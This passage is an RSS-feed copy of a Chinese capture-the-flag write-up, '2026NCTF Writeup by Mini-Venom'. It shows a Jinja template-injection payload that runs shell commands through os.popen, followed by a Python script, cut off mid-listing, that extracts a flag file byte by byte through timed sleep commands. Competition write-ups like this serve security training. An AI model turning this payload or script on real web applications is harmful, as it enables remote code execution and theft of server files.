style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">欢迎联系</span></span><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;color: rgb(0, 128, 255);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">admin@chamd5.org</span></span></p></div></div></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 20px 0px -30px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: right;transform: translate3d(16px, 0px, 0px);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 0px 0px 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 315.719px;vertical-align: top;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: -10px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: center;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: middle;display: inline-block;"><svg xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" viewBox="0 0 536.1 59.2" style="vertical-align: middle;" width="536.1" role="img" aria-label="插图"><g><polygon points="533.5,3 518.7,19.1 503.1,1 486.9,18.6 471.3,0.5 455.1,18.1 439.5,0 422,19.1 424.6,21.5 439.4,5.3 455,23.4    471.2,5.8 486.8,23.9 503,6.3 518.6,24.4 536.1,5.4" fill="#000000"></polygon><g><polygon points="89.5,28.7 82.5,39.3 96.5,39.3" fill="#000000"></polygon><polygon points="68.9,28.7 61.9,39.3 75.9,39.3" fill="#000000"></polygon><polygon points="48.2,28.7 41.3,39.3 55.2,39.3" fill="#000000"></polygon><polygon points="27.6,28.7 20.6,39.3 34.6,39.3" fill="#000000"></polygon><polygon points="7,28.7 0,39.3 14,39.3" fill="#000000"></polygon></g><g><rect x="144.2" y="36.9" width="328.3" height="3.6" fill="rgb(233, 194, 89)"></rect></g><g><rect x="41.3" y="55.6" width="448.1" height="3.6" fill="#000000"></rect></g></g></svg></p></div></div></div></div></div></div></div></div></div><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration: none;caret-color: rgba(0, 0, 0, 0.9);clear: both;min-height: 1em;background-color: rgb(255, 255, 255);text-align: center;"><img alt="图片" class="rich_pages wxw-img" data-ratio="0.5133689839572193" data-s="300,640" data-type="other" data-w="748" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;vertical-align: bottom;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.54px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;height: auto !important;" data-copyright="0" data-imgfileid="100028117" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=89af1f43&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPUubqXlrzBR8nk7RR7HefBINILy4PClwoEMzGCJovye9KIsEjCKwxlqcSFsGJSv3OtYIjmKpXzVyfzlqSicWwxQ%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp%23imgIndex%3D3"/></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=91ec2abe&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTc1MjExOQ%3D%3D%26mid%3D2247514257%26idx%3D1%26sn%3Da5d45921107ff3b185a7a94717993f0b">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 14 Apr 2026 08:03:00 +0800</pubDate>
    </item>
    <item>
      <title>2026NCTF Writeup by Mini-Venom</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247514249&amp;idx=1&amp;sn=4908872cb3350a330c26c64283425c0e</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>Mini-Venom</span> <span>2026-04-07 10:30</span> <span style="display: inline-block;">辽宁</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9becd906&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjvwqHfehg2Pic6vJuxibDjHxiavhu8DWWVMadL0y3KWIkxZ1z8qibj9b9uzSkSib7OFo3chKaahza4hMiafTT7SsQ2j7F1wHKibkV1vNERMJwoCiczU%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <blockquote style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 20px 0px;padding: 10px 10px 10px 20px;outline: 0px;border-width: 3px 1px 3px 3px;border-style: none solid;border-color: rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.65);color: var(--weui-FG-1);font-size: 15px;text-indent: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(0, 0, 0);white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;border-radius: 0px;background: no-repeat rgba(249, 249, 249, 0.76);width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow: auto;visibility: visible;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 8px 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;text-indent: 0em;color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">招新小广告CTF组诚招web、re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 admin@chamd5.org(带上简历和想加入的小组)</span></p></blockquote><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 30px 30px 15px;padding: 12px 0px;outline: 0px;font-weight: 400;font-size: 16px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(0, 0, 0);font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: unset;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;border-color: rgb(0, 0, 0);align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: solid;border-width: 1px;border-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;visibility: visible;" data-pm-slice="0 0 []"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background: none 0% 0% / auto no-repeat scroll padding-box border-box;border-style: none;border-width: initial;border-color: initial;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">Web</span></span></h2><p data-tool="mdnice编辑器" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 30px 0px 15px;padding: 0px;outline: 0px;font-weight: 400;font-size: 16px;max-width: 100%;color: rgb(0, 0, 0);font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background: none 0% 0% / auto no-repeat scroll padding-box border-box transparent;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow: unset;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong><span leaf="" style="font-size: 18px;color: rgb(255, 255, 255);background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">N-Horse</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">打ssti盲注</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">GET /?username={{cycler.__init__.__globals__.os.popen(&#39;sleep 5&#39;).read()}}&amp;password=1</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Exp:</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">#!/usr/bin/env python3</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> argparse</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> string</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> sys</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> time</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> requests</span><span leaf=""><br/></span><span leaf="">DEFAULT_CHARSET = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;{}_-&#34;</span></span><span leaf=""> + string.ascii_letters + string.digits</span><span leaf=""><br/></span><span leaf="">DEFAULT_CANDIDATE_PATHS = [</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/flag&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/flag.txt&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/app/flag&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/app/flag.txt&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/tmp/flag&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/home/ctf/flag&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/home/ctf/flag.txt&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">]</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">class</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">BlindSSTIExploit</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">__init__</span></span><span style="line-height: 26px;"><span leaf="">(self, base_url, delay, timeout, charset, proxy=None)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">        self.base_url = base_url.rstrip(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/&#34;</span></span><span leaf="">) + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/&#34;</span></span><span leaf=""><br/></span><span leaf="">        self.delay = delay</span><span leaf=""><br/></span><span leaf="">        self.timeout = timeout</span><span leaf=""><br/></span><span leaf="">        self.charset = charset</span><span leaf=""><br/></span><span leaf="">        self.session = requests.Session()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> proxy:</span><span leaf=""><br/></span><span leaf="">            self.session.proxies.update({</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;http&#34;</span></span><span leaf="">: proxy, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;https&#34;</span></span><span leaf="">: proxy})</span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">    @staticmethod</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">build_payload</span></span><span style="line-height: 26px;"><span leaf="">(command)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">        escaped = command.replace(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;\\&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;\\\\&#34;</span></span><span leaf="">).replace(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#39;&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;\\&#39;&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;{{cycler.__init__.__globals__.os.popen(&#39;%s&#39;).read()}}&#34;</span></span><span leaf=""> % escaped</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">request_time</span></span><span style="line-height: 26px;"><span leaf="">(self, payload)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">        start = time.time()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            self.session.get(</span><span leaf=""><br/></span><span leaf="">                self.base_url,</span><span leaf=""><br/></span><span leaf="">                params={</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;username&#34;</span></span><span leaf="">: payload, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;password&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">},</span><span leaf=""><br/></span><span leaf="">                timeout=self.timeout,</span><span leaf=""><br/></span><span leaf="">            )</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">except</span></span><span leaf=""> requests.RequestException:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">pass</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> time.time() - start</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">oracle</span></span><span style="line-height: 26px;"><span leaf="">(self, command, threshold=None)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">        payload = self.build_payload(command)</span><span leaf=""><br/></span><span leaf="">        elapsed = self.request_time(payload)</span><span leaf=""><br/></span><span leaf="">        limit = threshold </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> threshold </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">is</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">None</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf=""> (self.delay - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.5</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> elapsed &gt; limit, elapsed</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">confirm_rce</span></span><span style="line-height: 26px;"><span leaf="">(self)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">        ok, elapsed = self.oracle(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;sleep </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{self.delay}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> ok, elapsed</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">find_flag_path</span></span><span style="line-height: 26px;"><span leaf="">(self, paths)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> path </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> paths:</span><span leaf=""><br/></span><span leaf="">            ok, elapsed = self.oracle(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;test -f </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{path}</span></span><span leaf=""> &amp;&amp; sleep </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{self.delay}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;[path] </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{path:&lt;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">24</span></span><span leaf="">}</span></span><span leaf=""> hit=</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{ok}</span></span><span leaf=""> time=</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{elapsed:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.2</span></span><span leaf="">f}</span></span><span leaf="">s&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> ok:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> path</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">None</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">get_length</span></span><span style="line-height: 26px;"><span leaf="">(self, path, max_len)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> size </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, max_len + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">            ok, elapsed = self.oracle(</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;[ $(wc -c &lt; </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{path}</span></span><span leaf="">) -eq </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{size}</span></span><span leaf=""> ] &amp;&amp; sleep </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{self.delay}</span></span><span leaf="">&#34;</span></span><span leaf=""><br/></span><span leaf="">            )</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> ok:</span><span leaf=""><br/></span><span leaf="">                print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;[len] </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{size}</span></span><span leaf=""> time=</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{elapsed:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.2</span></span><span leaf="">f}</span></span><span leaf="">s&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> size</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">None</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">extract_char</span></span><span style="line-height: 26px;"><span leaf="">(self, path, position)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> ch </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> self.charset:</span><span leaf=""><br/></span><span leaf="">            ok, elapsed = self.oracle(</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;[ \&#34;$(cut -c</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{position}</span></span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{path}</span></span><span leaf="">)\&#34; = &#39;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{ch}</span></span><span leaf="">&#39; ] &amp;&amp; sleep </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{self.delay}</span></span><span leaf="">&#34;</span></span><span leaf=""><br/></span><span leaf="">            )</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> ok:</span><span leaf=""><br/></span><span leaf="">                print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;[chr] pos=</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{position:&lt;</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">}</span></span><span leaf=""> char=</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{ch!r}</span></span><span leaf=""> time=</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{elapsed:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.2</span></span><span leaf="">f}</span></span><span leaf="">s&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> ch</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">None</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">extract_value</span></span><span style="line-height: 26px;"><span leaf="">(self, path, length)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">        value = []</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> position </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, length + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">            ch = self.extract_char(path, position)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> ch </span><span 